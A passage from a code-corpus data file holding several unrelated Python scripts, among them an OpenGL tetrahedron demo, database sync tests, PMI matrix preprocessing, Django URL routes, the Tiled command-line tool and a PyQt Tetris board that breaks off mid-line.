p in range(1,MAXPAGE+1,1):\n path = PATHSTORE + str(p) + '.txt'\n get_contents_from_local(path,p)\n","sub_path":"grab_douban_posts.py","file_name":"grab_douban_posts.py","file_ext":"py","file_size_in_byte":5404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"88418111","text":"\"\"\"\nDescrição: Este programa apresenta a raiz quadrada do número informado pelo usuário.\nAutor:Henrique Joner\nVersão:0.0.1\nData:03/01/2019\n\"\"\"\n\n#Inicialização de variáveis\n\nnumero = 0\n\nb = 0\n\np = 0 \n\n\n#Entrada de dados\n\nnumero = float(input(\"Digite o número que você deseja obter a raíz quadrada: \"))\n\nb = 2 \n \n#Processamento de dados\n\nwhile abs(numero-(b*b)) > 0.0001:\n p=(b+(numero/b))/2\n b=p\n\n#Saída de dados\nprint(\"A raiz quadrada é %8.4f\" % p)","sub_path":"exercicio525.py","file_name":"exercicio525.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"482027951","text":"from math import *\r\nfrom OpenGL.GL import *\r\nfrom OpenGL.GLU import *\r\nfrom OpenGL.GLUT import *\r\nimport sys\r\n\r\nWINDOW_WIDTH = 320\r\nWINDOW_HEIGHT = 240\r\n\r\nr = 0\r\nred = [0.8, 0.2, 0.2, 1.0]\r\ngreen = [0.0, 1.0, 0.0, 1.0]\r\n\r\n\r\n\r\nclass Cube:\r\n def __init__(self):\r\n self.FACE = [\r\n [ 0, 1, 2], #A-B-C\r\n [ 0, 2, 3], #A-C-D\r\n [ 0, 3, 1], #A-D-B\r\n [ 1, 2, 3], #B-C-D\r\n ]\r\n self.COLOR = [\r\n [ 1.0, 0.0, 0.0 ],\r\n [ 0.0, 1.0, 0.0 ],\r\n [ 0.0, 0.0, 1.0 ],\r\n [ 1.0, 1.0, 0.0 ],\r\n ]\r\n\r\n self.VERTEX = [\r\n [0.0, 3.0, 0.0], # A\r\n [2*sqrt(2), -1.0, 0.0], # B\r\n [-1*sqrt(2), -1.0, -1*sqrt(6)], # C\r\n [-1*sqrt(2), -1.0, sqrt(6)], # D\r\n ]\r\n\r\n self.EDGE = [\r\n [0, 1], # a (A-B)\r\n [1, 2], # i (B-C)\r\n [2, 3], # u (C-D)\r\n [3, 0], # e (D-A)\r\n [2, 0], # o (C-A)\r\n [1, 3], # ka (B-D)\r\n ]\r\n\r\n \r\n\r\ndef main():\r\n glutInit(sys.argv)\r\n glutInitDisplayMode(GLUT_RGBA | GLUT_DOUBLE | GLUT_DEPTH)\r\n glutCreateWindow(b\"kadai2\")\r\n glutDisplayFunc(display)\r\n glutReshapeFunc(resize)\r\n glutMouseFunc(mouse)\r\n init()\r\n glutMainLoop()\r\n\r\n\r\ndef init():\r\n glClearColor(1.0, 1.0, 1.0, 1.0)\r\n glEnable(GL_DEPTH_TEST)\r\n glLineWidth(2.0)\r\n\r\ndef resize(w, h):\r\n glViewport(0, 0, w, h)\r\n \r\n glMatrixMode(GL_PROJECTION)\r\n glLoadIdentity()\r\n gluPerspective(30.0, w / h, 1.0, 100.0)\r\n\r\n # モデルビュー変換行列の設定 */\r\n glMatrixMode(GL_MODELVIEW)\r\n\r\ndef idle():\r\n glutPostRedisplay()\r\n\r\ndef display():\r\n global r\r\n surface = Cube()\r\n glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\r\n glLoadIdentity()\r\n gluLookAt(3.0, 4.0, 15.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0)\r\n\r\n glRotated(float(r), 0.0, 1.0, 0.0)\r\n\r\n glBegin(GL_TRIANGLES)\r\n for j in range(4):\r\n glColor3dv(surface.COLOR[j])\r\n for i in range(3):\r\n glVertex3dv(surface.VERTEX[surface.FACE[j][i]])\r\n glEnd()\r\n\r\n glutSwapBuffers()\r\n\r\n glFlush()\r\n\r\n r += 1 # 一周回ったら回転角を 0 に戻す */\r\nif r >= 360:\r\n r = 0\r\n\r\ndef mouse(button, state, x, y):\r\n if button == GLUT_LEFT_BUTTON:\r\n if state == GLUT_DOWN:\r\n glutIdleFunc(idle)\r\n else :\r\n glutIdleFunc(0)\r\n elif button == GLUT_RIGHT_BUTTON:\r\n if state == GLUT_DOWN:\r\n glutPostRedisplay()\r\n\r\n\r\nif __name__ == \"__main__\": main()\r\n\r\n\r\n","sub_path":"32_kadai2.py","file_name":"32_kadai2.py","file_ext":"py","file_size_in_byte":2591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"165519862","text":"# USAGE\n# python evaluate_shape_predictor.py --predictor eye_predictor.dat --xml ibug_300W_large_face_landmark_dataset/labels_ibug_300W_train_eyes.xml\n# python evaluate_shape_predictor.py --predictor eye_predictor.dat --xml ibug_300W_large_face_landmark_dataset/labels_ibug_300W_test_eyes.xml\n\n# import the necessary packages\nimport argparse\nimport dlib\n\n\n# construct the argument parser and parse the arguments\n# python evaluate.py --predictor iris_predictor.dat --xml C:/Users/E17538/\"OneDrive - Uniper SE\"/Desktop/Daily\n# Activities/FAD/acv6/ACS_S6/iris_test/iris_test_imglab.xml\nap = argparse.ArgumentParser()\nap.add_argument(\"-p\", \"--predictor\", required=True,\n\thelp=\"path to trained dlib shape predictor model\")\nap.add_argument(\"-x\", \"--xml\", required=True,\n\thelp=\"path to input training/testing XML file\")\nargs = vars(ap.parse_args())\n\n# compute the error over the supplied data split and display it to\n# our screen\nprint(\"[INFO] evaluating shape predictor...\")\nerror = dlib.test_shape_predictor(args[\"xml\"], args[\"predictor\"])\nprint(\"[INFO] error: {}\".format(error))","sub_path":"evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"406497121","text":"from collections import namedtuple\n\nfrom .conftest import get_postgres_ship_rows\n\nfrom config import DB_NAME\n\nShipPort = namedtuple(\"ShipPort\", \"ship port\")\n\n\ndef test_insert(sql_server_cursor):\n values = [\n ShipPort(\"a\", \"port of a\"),\n ShipPort(\"b\", \"port of b\"),\n ShipPort(\"c\", \"port of c\"),\n ]\n\n sql_server_cursor.executemany(\n f\"INSERT INTO {DB_NAME}.dbo.ship (ship, port) VALUES(?, ?);\",\n values,\n )\n\n pg_rows = get_postgres_ship_rows(row_count=len(values))\n\n for pg_row, value in zip(pg_rows, values):\n assert pg_row[\"ship\"] == value[0]\n assert pg_row[\"port\"] == value[1]\n\n\ndef test_update(sql_server_cursor):\n old_value = ShipPort(\"a\", \"port of a\")\n new_value = ShipPort(\"new a\", \"new port of a\")\n\n sql_server_cursor.execute(\n f\"INSERT INTO {DB_NAME}.dbo.ship (ship, port) VALUES(?, ?);\",\n old_value,\n )\n\n sql_server_cursor.execute(\n f\"UPDATE {DB_NAME}.dbo.ship SET ship = ?, port = ? where ship =?\",\n (new_value.ship, new_value.port, old_value.ship),\n )\n\n def check_function(rows):\n return (\n len(rows) == 1 and\n rows[0][\"ship\"] == new_value.ship and\n rows[0][\"port\"] == new_value.port\n )\n\n assert get_postgres_ship_rows(result_check=check_function)\n\n\ndef test_delete(sql_server_cursor):\n # delete is also implicitly tested by the cleanup between tests\n value = ShipPort(\"a\", \"port of a\")\n\n sql_server_cursor.execute(\n f\"INSERT INTO {DB_NAME}.dbo.ship (ship, port) VALUES(?, ?);\",\n value,\n )\n assert get_postgres_ship_rows(row_count=1)\n\n sql_server_cursor.execute(f\"DELETE FROM {DB_NAME}.dbo.ship\")\n\n assert not get_postgres_ship_rows(row_count=0)\n","sub_path":"tests/test_basic_sql.py","file_name":"test_basic_sql.py","file_ext":"py","file_size_in_byte":1757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"341540549","text":"#! -*- coding: utf-8 -*-\n\"\"\"This code is data pre-processing functions before PMI calculation.\nMain funtion is 'make_pmi_matrix()'\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom __future__ import division\nimport logging\nfrom scipy.sparse import csr_matrix\nfrom collections import namedtuple\nfrom nltk.util import ngrams\n\nPosTuple = namedtuple('PosTuple', ('doc_id', 'word_id', 'document_frequency'))\n\n__author__ = 'kensuke-mi'\n\ndef check_data_structure(labeled_structure):\n assert isinstance(labeled_structure, dict)\n for key in labeled_structure.keys():\n docs_in_label = labeled_structure[key]\n assert isinstance(docs_in_label, list)\n for doc in docs_in_label:\n for t in doc: assert isinstance(t, (str, unicode))\n\n return True\n\n\ndef generate_document_dict(documents):\n \"\"\"This function gets #Document-frequency in given list of documents\n\n :param documents [[str]]:\n :return dict that represents document frequency:\n \"\"\"\n assert isinstance(documents, list)\n assert isinstance(documents[0], list)\n V = list(set([t for d in documents for t in d]))\n document_frequency_dict = {}\n for v in V:\n binary_count = [1 for d in documents if v in d]\n document_frequency_dict[v] = sum(binary_count)\n\n return document_frequency_dict\n\n\ndef data_convert(labeled_structure):\n assert isinstance(labeled_structure, dict)\n\n vocabulary = list(set([\n t\n for all_docs\n in labeled_structure.values()\n for docs\n in all_docs\n for t\n in docs\n ]))\n n_feature = len(vocabulary)\n v = {t: index for index, t in enumerate(vocabulary)}\n\n # make list of document-frequency\n label_group_dict = {}\n\n token_freq_document = []\n document_index = 0\n for key, docs in labeled_structure.items():\n token_freq_document.append(generate_document_dict(docs))\n label_group_dict.update({key: document_index})\n document_index += 1\n\n\n return token_freq_document, label_group_dict, v\n\n\ndef get_data_col_row_values(doc_id, word, doc_freq, vocaburary):\n col_value = vocaburary[word]\n df_value = doc_freq\n\n return PosTuple(doc_id, col_value, df_value)\n\n\ndef preprocess_csr_matrix(token_freq_document, vocabulary):\n # MEMO 分散化可能\n \"\"\"This function makes information to make csr matrix. Data-list/Row-list/Col-list\n\n :param token_freq_document:\n :param vocabulary:\n :return:\n \"\"\"\n assert isinstance(token_freq_document, list)\n\n value_position_list = []\n for doc_id, doc_freq_obj in enumerate(token_freq_document):\n value_pairs = [\n get_data_col_row_values(doc_id=doc_id, word=word, doc_freq=freq, vocaburary=vocabulary)\n for word, freq\n in doc_freq_obj.items()\n ]\n value_position_list += value_pairs\n\n row, col, data = make_csr_list(value_position_list)\n\n return row, col, data\n\ndef make_csr_list(value_position_list):\n data = []\n row = []\n col = []\n for position_tuple in value_position_list:\n row.append(position_tuple.doc_id)\n col.append(position_tuple.word_id)\n data.append(position_tuple.document_frequency)\n\n return row, col, data\n\n\ndef make_csr_objects(row, col, data, n_feature, n_docs):\n assert isinstance(row, list)\n assert isinstance(col, list)\n assert isinstance(data, list)\n assert isinstance(n_feature, int)\n assert isinstance(n_docs, int)\n\n return csr_matrix((data, (row, col)), shape=(n_docs, n_feature))\n\n\ndef ngram_data_conversion(labeled_structure, n):\n\n character_joiner = lambda ngram_tuple: '_'.join(ngram_tuple)\n\n new_documents = {}\n for key in labeled_structure.keys():\n docs = labeled_structure[key]\n new_docs = []\n for d in docs:\n ngram_d = ngrams(d, n)\n generated_ngrams = [character_joiner(g) for g in ngram_d]\n new_docs.append(generated_ngrams)\n new_documents[key] = new_docs\n return new_documents\n\n\ndef make_pmi_matrix(labeled_structure, logger, ngram=1):\n \"\"\"This function makes document-frequency matrix for PMI calculation.\n Document-frequency matrix is scipy.csr_matrix.\n\n labeled_structure must be following key-value pair\n\n >>> {\n \"label_a\": [\n [\"I\", \"aa\", \"aa\", \"aa\", \"aa\", \"aa\"],\n [\"bb\", \"aa\", \"aa\", \"aa\", \"aa\", \"aa\"],\n [\"I\", \"aa\", \"hero\", \"some\", \"ok\", \"aa\"]\n ],\n \"label_b\": [\n [\"bb\", \"bb\", \"bb\"],\n [\"bb\", \"bb\", \"bb\"],\n [\"hero\", \"ok\", \"bb\"],\n [\"hero\", \"cc\", \"bb\"],\n ],\n \"label_c\": [\n [\"cc\", \"cc\", \"cc\"],\n [\"cc\", \"cc\", \"bb\"],\n [\"xx\", \"xx\", \"cc\"],\n [\"aa\", \"xx\", \"cc\"],\n ]\n }\n\n :param dict labeled_structure: above data structure\n :param logging.Logger logger:\n :param int ngram: you can get score with ngram-words\n :return: `(csr_matrix: scipy.csr_matrix, label_group_dict: dict, vocabulary: dict)`\n :rtype: tuple\n \"\"\"\n assert isinstance(logger, logging.Logger)\n check_data_structure(labeled_structure)\n\n if ngram > 1:\n labeled_structure = ngram_data_conversion(labeled_structure, ngram)\n\n logging.debug(msg='Now pre-processing before CSR matrix')\n token_freq_document, label_group_dict, vocabulary = data_convert(labeled_structure)\n row, col, data = preprocess_csr_matrix(token_freq_document=token_freq_document, vocabulary=vocabulary)\n logging.debug(msg='Finished pre-processing before CSR matrix')\n csr_matrix = make_csr_objects(row, col, data, max(vocabulary.values())+1, len(token_freq_document))\n\n return csr_matrix, label_group_dict, vocabulary","sub_path":"document_feature_selection/pmi/pmi_csr_matrix.py","file_name":"pmi_csr_matrix.py","file_ext":"py","file_size_in_byte":5841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"219009623","text":"from django.conf.urls.defaults import patterns, include, url\nfrom django.conf import settings\nfrom registration.views import register\n\nfrom gallery.forms import UserRegistrationForm, UserAuthenticationForm\n\n# Uncomment the next two lines to enable the admin:\nfrom django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n # Examples:\n # url(r'^$', 'art_site.views.home', name='home'),\n # url(r'^art_site/', include('art_site.foo.urls')),\n\n # Uncomment the admin/doc line below to enable admin documentation:\n # url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n\n # Uncomment the next line to enable the admin:\n url(r'^admin/', include(admin.site.urls)),\n url(r'^accounts/login/$', 'django.contrib.auth.views.login',\n {'authentication_form': UserAuthenticationForm}),\n url(r'^accounts/register/$', register, \n {'backend': 'registration.backends.default.DefaultBackend', \n 'form_class': UserRegistrationForm},\n name='registration_register'),\n (r'^accounts/', include('registration.backends.default.urls')),\n (r'^profiles/upload_art', 'gallery.views.manage_art', \n {'template_name': 'profiles/upload_art.html'}),\n (r'^profiles/edit_art/(?P<art_id>\\d+)/$', 'gallery.views.manage_art',\n {'template_name':'profiles/edit_art.html'}),\n (r'^profiles/', include('profiles.urls')),\n ('^blog/', include('blog.urls')),\n ('^gallery/', include('gallery.urls')),\n (r'^comments/', include('django.contrib.comments.urls')),\n)\n\nif settings.DEBUG:\n urlpatterns += patterns('django.views.static',\n (r'^site_media/media/(?P<path>.*)$', 'serve', {'document_root': settings.MEDIA_ROOT})\n )\n","sub_path":"art_site/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"424988165","text":"import numpy as np\nimport tensorflow as tf\n\nfrom numpy import pi\nfrom tensorflow import math\nfrom tensorflow_probability import distributions as tfd\n\nAVAILABLE_1D_DISTRIBUTIONS = ['', 'two_hills']\nAVAILABLE_2D_DISTRIBUTIONS = ['', 'banana', 'circle', 'eight_schools', 'figure_eight']\n\ndef pdf_2D(z, density_name=''):\n assert density_name in AVAILABLE_2D_DISTRIBUTIONS, \"Incorrect density name.\"\n if density_name == '':\n return 1\n elif density_name == 'banana':\n z1, z2 = z[:, 0], z[:, 1]\n mu = np.array([0.5,0.5], dtype='float32')\n cov = np.array([[0.06,0.055],[0.055,0.06]], dtype='float32')\n scale = tf.linalg.cholesky(cov)\n p = tfd.MultivariateNormalTriL(loc=mu, scale_tril=scale)\n z2 = z1**2 + z2\n z1, z2 = tf.expand_dims(z1, 1), tf.expand_dims(z2, 1)\n z = tf.concat([z1, z2], axis=1)\n return p.prob(z)\n elif density_name == 'circle':\n z1, z2 = z[:, 0], z[:, 1]\n norm = (z1**2 + z2**2)**0.5\n exp1 = math.exp(-0.2 * ((z1 - 2) / 0.8) ** 2)\n exp2 = math.exp(-0.2 * ((z1 + 2) / 0.8) ** 2)\n u = 0.5 * ((norm - 4) / 0.4) ** 2 - math.log(exp1 + exp2)\n return math.exp(-u)\n elif density_name == 'eight_schools':\n y_i = 10\n sigma_i = 10\n thetas, mu, log_tau = z[:, 0], z[:, 1], z[:, 2]\n likelihood = tfd.Normal(loc=thetas, scale=sigma_i)\n prior_theta = tfd.Normal(loc=mu, scale=math.exp(log_tau))\n prior_mu = tfd.Normal(loc=0, scale=5)\n prior_tau = tfd.HalfCauchy(loc=0, scale=5)\n return likelihood.prob(y_i) * prior_theta.prob(thetas) * prior_mu.prob(mu) * prior_tau.prob(math.exp(log_tau)) * math.exp(log_tau)\n elif density_name == 'figure_eight':\n mu1 = 1 * np.array([-1,-1], dtype='float32')\n mu2 = 1 * np.array([1,1], dtype='float32')\n scale = 0.45 * np.array([1,1], dtype='float32')\n pi = 0.5\n comp1 = tfd.MultivariateNormalDiag(loc=mu1, scale_diag=scale)\n comp2 = tfd.MultivariateNormalDiag(loc=mu2, scale_diag=scale)\n return (1-pi)*comp1.prob(z) + pi*comp2.prob(z)\n\ndef pdf_1D(z, density_name=''):\n assert density_name in AVAILABLE_1D_DISTRIBUTIONS, \"Incorrect density name.\"\n if density_name == '':\n return 1\n elif density_name == 'two_hills':\n y = 0.5\n sigma2 = 0.1\n likelihood = (1/math.sqrt(2*pi*sigma2))*math.exp(-((y-(z**2))**2)/(2*sigma2))\n prior = (1/math.sqrt(2*pi))**math.exp(-(z**2)/2)\n return likelihood*prior\n\n","sub_path":"code/legacy/variational inference/distributions.py","file_name":"distributions.py","file_ext":"py","file_size_in_byte":2513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"167558424","text":"from typing import Optional\n\ntry:\n import typer\nexcept Exception as err:\n raise Exception(\n \"\"\"\nfrom ._admin import admin_app\nfrom ._api_key import api_key_app\nfrom ._profile import profile_app\nfrom ._serve import serve_app\n\nYou are trying to the run the tiled commandline tool but you do not have the\nnecessary dependencies. It looks like tiled has been installed with\nbare-minimum dependencies, possibly via\n\n pip install tiled\n\nInstead, try:\n\n pip install tiled[all] # Note: on a Mac, you may need quotes like 'tiled[all]'.\n\nwhich installs *everything* you might want. For other options, see:\n\n https://blueskyproject.io/tiled/tutorials/installation.html\n\"\"\"\n ) from err\n\ncli_app = typer.Typer()\n\nfrom ._admin import admin_app # noqa: E402\nfrom ._api_key import api_key_app # noqa: E402\nfrom ._profile import profile_app # noqa: E402\nfrom ._serve import serve_app # noqa: E402\nfrom ._utils import ( # noqa E402\n CLI_CACHE_DIR,\n get_context,\n get_default_profile_name,\n get_profile,\n)\n\ncli_app.add_typer(serve_app, name=\"serve\", help=\"Launch a Tiled server.\")\ncli_app.add_typer(\n profile_app, name=\"profile\", help=\"Examine Tiled 'profiles' (client-side config).\"\n)\ncli_app.add_typer(\n api_key_app, name=\"api_key\", help=\"Create, list, and revoke API keys.\"\n)\ncli_app.add_typer(\n admin_app,\n name=\"admin\",\n help=\"Administrative utilities for managing large deployments.\",\n)\n\n\n@cli_app.command(\"connect\")\ndef connect(\n uri_or_profile: str = typer.Argument(\n ..., help=\"URI 'http[s]://...' or a profile name.\"\n ),\n no_verify: bool = typer.Option(False, \"--no-verify\", help=\"Skip SSL verification.\"),\n):\n \"\"\"\n \"Connect\" to a Tiled server; set it as default.\n \"\"\"\n from ..client.context import Context\n from ..profiles import list_profiles, load_profiles, paths\n\n user_profiles_dir = paths[-1]\n if uri_or_profile.startswith(\"http://\") or uri_or_profile.startswith(\"https://\"):\n # This looks like a URI.\n uri = uri_or_profile\n name = \"auto\"\n Context.from_any_uri(uri, verify=not no_verify)\n user_profiles_dir.mkdir(parents=True, exist_ok=True)\n with open(user_profiles_dir / \"auto.yml\", \"w\") as file:\n file.write(\n f\"\"\"# This file is managed by the Tiled CLI.\n# Any edits made by hand may be discarded.\nauto:\n uri: {uri}\n verify: {\"true\" if not no_verify else \"false\"}\n\"\"\"\n )\n else:\n # Is this a profile name?\n if uri_or_profile in list_profiles():\n name = uri_or_profile\n _, profile = load_profiles()[name]\n if \"direct\" in profile:\n raise ValueError(\n f\"Profile {profile} uses in a direct (in-process) Tiled server \"\n \"and cannot be connected to from the CLI.\"\n )\n options = {\"verify\": profile.get(\"verify\", True)}\n if no_verify:\n options[\"verify\"] = False\n Context.from_any_uri(profile[\"uri\"], **options)\n else:\n typer.echo(\n f\"Not sure what to do with tree {uri_or_profile!r}. \"\n \"It does not look like a URI (it does not start with http[s]://) \"\n \"and it does not match any profiles. Use `tiled profiles list` to \"\n \"see profiles.\",\n err=True,\n )\n raise typer.Abort()\n CLI_CACHE_DIR.mkdir(parents=True, exist_ok=True)\n with open(CLI_CACHE_DIR / \"active_profile\", \"w\") as file:\n file.write(name)\n typer.echo(f\"Tiled profile {name!r} is set as the default.\")\n\n\n@cli_app.command(\"status\")\ndef status():\n \"\"\"\n Show the current default Tiled server.\n \"\"\"\n name = get_default_profile_name()\n if name is None:\n typer.echo(\"Not connected.\", err=True)\n else:\n typer.echo(f\"Using profile {name!r}\\n\", err=True)\n import yaml\n\n _, profile_content = get_profile(name)\n typer.echo(yaml.dump(profile_content))\n\n\n@cli_app.command(\"disconnect\")\ndef disconnect():\n \"\"\"\n \"Disconnect\" from the default Tiled server.\n \"\"\"\n filepath = CLI_CACHE_DIR / \"active_profile\"\n # filepath.unlink(missing_ok=False) # Python 3.8+\n try:\n filepath.unlink()\n except FileNotFoundError:\n pass\n\n\n@cli_app.command(\"login\")\ndef login(\n profile: Optional[str] = typer.Option(\n None, help=\"If you use more than one Tiled server, use this to specify which.\"\n ),\n show_secret_tokens: bool = typer.Option(\n False, \"--show-secret-tokens\", help=\"Show secret tokens after successful login.\"\n ),\n):\n \"\"\"\n Log in to an authenticated Tiled server.\n \"\"\"\n import json\n\n from ..client.context import Context\n\n profile_name, profile_content = get_profile(profile)\n options = {\"verify\": profile_content.get(\"verify\", True)}\n context, _ = Context.from_any_uri(profile_content[\"uri\"], **options)\n provider_spec, username = context.authenticate()\n filepath = CLI_CACHE_DIR / \"profile_auths\"\n filepath.mkdir(parents=True, exist_ok=True)\n with open(filepath / profile_name, \"w\") as file:\n json.dump({\"provider\": provider_spec[\"provider\"], \"username\": username}, file)\n if show_secret_tokens:\n typer.echo(json.dumps(dict(context.tokens), indent=4))\n\n\n@cli_app.command(\"logout\")\ndef logout(\n profile: Optional[str] = typer.Option(\n None, help=\"If you use more than one Tiled server, use this to specify which.\"\n ),\n):\n \"\"\"\n Log out from one or all authenticated Tiled servers.\n \"\"\"\n import json\n\n from ..client.context import Context\n\n profile_name, profile_content = get_profile(profile)\n filepath = CLI_CACHE_DIR / \"profile_auths\" / profile_name\n context, _ = Context.from_any_uri(\n profile_content[\"uri\"], verify=profile_content.get(\"verify\", True)\n )\n if filepath.is_file():\n with open(filepath, \"r\") as file:\n auth = json.load(file)\n context.authenticate(auth[\"username\"], auth[\"provider\"])\n context.logout()\n # filepath.unlink(missing_ok=False) # Python 3.8+\n try:\n filepath.unlink()\n except FileNotFoundError:\n pass\n\n\n@cli_app.command(\"tree\")\ndef tree(\n profile: Optional[str] = typer.Option(\n None, help=\"If you use more than one Tiled server, use this to specify which.\"\n ),\n max_lines: int = typer.Argument(20, help=\"Max lines to show.\"),\n):\n \"\"\"\n Show the names of entries in a Tree.\n\n This is similar to the UNIX utility `tree` for listing nested directories.\n \"\"\"\n from ..client.constructors import from_context\n from ..utils import gen_tree\n\n context = get_context(profile)\n client = from_context(context)\n for counter, line in enumerate(gen_tree(client), start=1):\n if (max_lines is not None) and (counter > max_lines):\n print(\n f\"Output truncated at {max_lines} lines. \"\n \"Use `tiled tree <N>` to see <N> lines.\"\n )\n break\n print(line)\n\n\n@cli_app.command(\"download\")\ndef download(\n profile: Optional[str] = typer.Option(\n None, help=\"If you use more than one Tiled server, use this to specify which.\"\n ),\n cache_path: str = typer.Argument(..., help=\"Local directory for cache storage\"),\n capacity: Optional[int] = typer.Argument(None, help=\"Max capacity in bytes\"),\n):\n \"\"\"\n Download content from a Tree to an on-disk cache.\n \"\"\"\n from ..client.cache import Cache, download\n from ..client.constructors import from_profile\n\n profile_name, _ = get_profile(profile)\n\n cache = Cache.on_disk(cache_path, capacity=capacity)\n client = from_profile(profile_name, cache=cache)\n download(client)\n\n\nmain = cli_app\n\n\nif __name__ == \"__main__\":\n main()\n\n# This object is used by the auto-generated documentation.\ntyper_click_object = typer.main.get_command(cli_app)\n","sub_path":"tiled/commandline/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"111958300","text":"# board.py\n\nfrom shape import Shape\nfrom tetrominoes import Tetrominoes\nfrom PyQt4 import QtCore, QtGui\n\nclass Board(QtGui.QFrame):\n\tBoardWidth = 10\n\tBoardHeight = 22\n\tSpeed = 300\n\t\n\tdef __init__(self, parent):\n\t\tQtGui.QFrame.__init__(self, parent)\n\t\t\n\t\tself.timer = QtCore.QBasicTimer()\n\t\tself.isWaitingAfterLine = False\n\t\tself.curPiece = Shape()\n\t\tself.nextPiece = Shape()\n\t\tself.curX = 0\n\t\tself.curY = 0\n\t\tself.numLinesRemoved = 0\n\t\tself.board = []\n\t\t\n\t\tself.setFocusPolicy(QtCore.Qt.StrongFocus)\n\t\tself.isStarted = False\n\t\tself.isPaused = False\n\t\tself.clearBoard()\n\t\t\n\t\tself.nextPiece.setRandomShape()\n\t\n\tdef getShapeAt(self, x, y):\n\t\treturn self.board[int((y * Board.BoardWidth) + x)]\n\t\t\n\tdef setShapeAt(self, x, y, shape):\n\t\tself.board[int((y * Board.BoardWidth) + x)] = shape\n\t\n\tdef getSelWidth(self):\n\t\treturn self.contentsRect().width() / Board.BoardWidth\n\t\n\tdef getSelHeight(self):\n\t\treturn self.contentsRect().height() / Board.BoardHeight\n\t\n\tdef start(self):\n\t\tif self.isPaused:\n\t\t\treturn\n\t\t\n\t\tself.isStarted = True\n\t\tself.isWaitingAfterLine = False\n\t\tself.numLinesRemoved = 0\n\t\tself.clearBoard()\n\t\t\n\t\tself.emit(QtCore.SIGNAL(\"messageToStatusbar(QString)\"), str(self.numLinesRemoved))\n\t\t\n\t\tself.newPiece()\n\t\tself.timer.start(Board.Speed, self)\n\t\n\tdef pause(self):\n\t\tif not self.isStarted:\n\t\t\treturn\n\t\t\n\t\tself.isPaused = not self.isPaused\n\t\tif self.isPaused:\n\t\t\tself.timer.stop()\n\t\t\tself.emit(QtCore.SIGNAL(\"messageToStatusbar(QString)\"), \"paused\")\n\t\telse:\n\t\t\tself.timer.start(Board.Speed, self)\n\t\t\tself.emit(QtCore.SIGNAL(\"messageToStatusbar(QString)\"), str(self.numLinesRemoved))\n\t\t\n\t\tself.update()\n\t\n\tdef paintEvent(self, event):\n\t\tpainter = QtGui.QPainter(self)\n\t\trect = self.contentsRect()\n\t\t\n\t\tboardTop = rect.bottom() - Board.BoardHeight * self.getSelHeight()\n\t\t\n\t\tfor i in range(Board.BoardHeight):\n\t\t\tfor j in range(Board.BoardWidth):\n\t\t\t\tshape = self.getShapeAt(j, Board.BoardHeight - i - 1)\n\t\t\t\tif shape != Tetrominoes.NoShape:\n\t\t\t\t\tself.drawSquare(painter, rect.left() + j * self.getSelWidth(), boardTop + i * self.getSelHeight(), shape)\n\t\t\n\t\tif self.curPiece.getShape() != Tetrominoes.NoShape:\n\t\t\tfor i in range(4):\n\t\t\t\tx = self.curX + self.curPiece.getX(i)\n\t\t\t\ty = self.curY - self.curPiece.getY(i)\n\t\t\t\tself.drawSquare(painter, rect.left() + x * self.getSelWidth(), boardTop + (Board.BoardHeight - y - 1) * self.getSelHeight(), self.curPiece.getShape())\n\t\n\tdef keyPressEvent(self, event):\n\t\tif not self.isStarted or self.curPiece.getShape() == Tetrominoes.NoShape:\n\t\t\tQtGui.QWidget.keyPressEvent(self, event)\n\t\t\treturn\n\t\t\n\t\tkey = event.key()\n\t\tif key == QtCore.Qt.Key_P:\n\t\t\tself.pause()\n\t\t\treturn\n\t\tif self.isPaused:\n\t\t\treturn\n\t\telif key == QtCore.Qt.Key_Left:\n\t\t\tself.tryMove(self.curPiece, self.curX - 1, self.curY)\n\t\telif key == QtCore.Qt.Key_Right:\n\t\t\tself.tryMove(self.curPiece, self.curX + 1, self.curY)\n\t\telif key == QtCore.Qt.Key_Down:\n\t\t\tself.tryMove(self.curPiece.rotatedRight(), self.curX, self.curY)\n\t\telif key == QtCore.Qt.Key_Up:\n\t\t\tself.tryMove(self.curPiece.rotatedLeft(), self.curX, self.curY)\n\t\telif key == QtCore.Qt.Key_Space:\n\t\t\tself.dropDown()\n\t\telif key == QtCore.Qt.Key_D:\n\t\t\tself.oneLineDown()\n\t\telse:\n\t\t\tQtGui.QWidget.keyPressEvent(self, event)\n\t\n\tdef timerEvent(self, event):\n\t\tif event.timerId() == self.timer.timerId():\n\t\t\tif self.isWaitingAfterLine:\n\t\t\t\tself.isWaitingAfterLine = False\n\t\t\t\tself.newPiece()\n\t\t\telse:\n\t\t\t\tself.oneLineDown()\n\t\telse:\n\t\t\tQtGui.QFrame.timerEvent(self, event)\n\t\n\tdef clearBoard(self):\n\t\tfor i in range(Board.BoardHeight * Board.BoardWidth):\n\t\t\tself.board.append(Tetrominoes.NoShape)\n\t\n\tdef dropDown(self):\n\t\tnewY = self.curY\n\t\twhile newY > 0:\n\t\t\tif not self.tryMove(self.curPiece, self.curX, newY - 1):\n\t\t\t\tbreak\n\t\t\tnewY -= 1\n\t\t\n\t\tself.pieceDropped()\n\t\n\tdef oneLineDown(self):\n\t\tif not self.tryMove(self.curPiece, self.curX, self.curY - 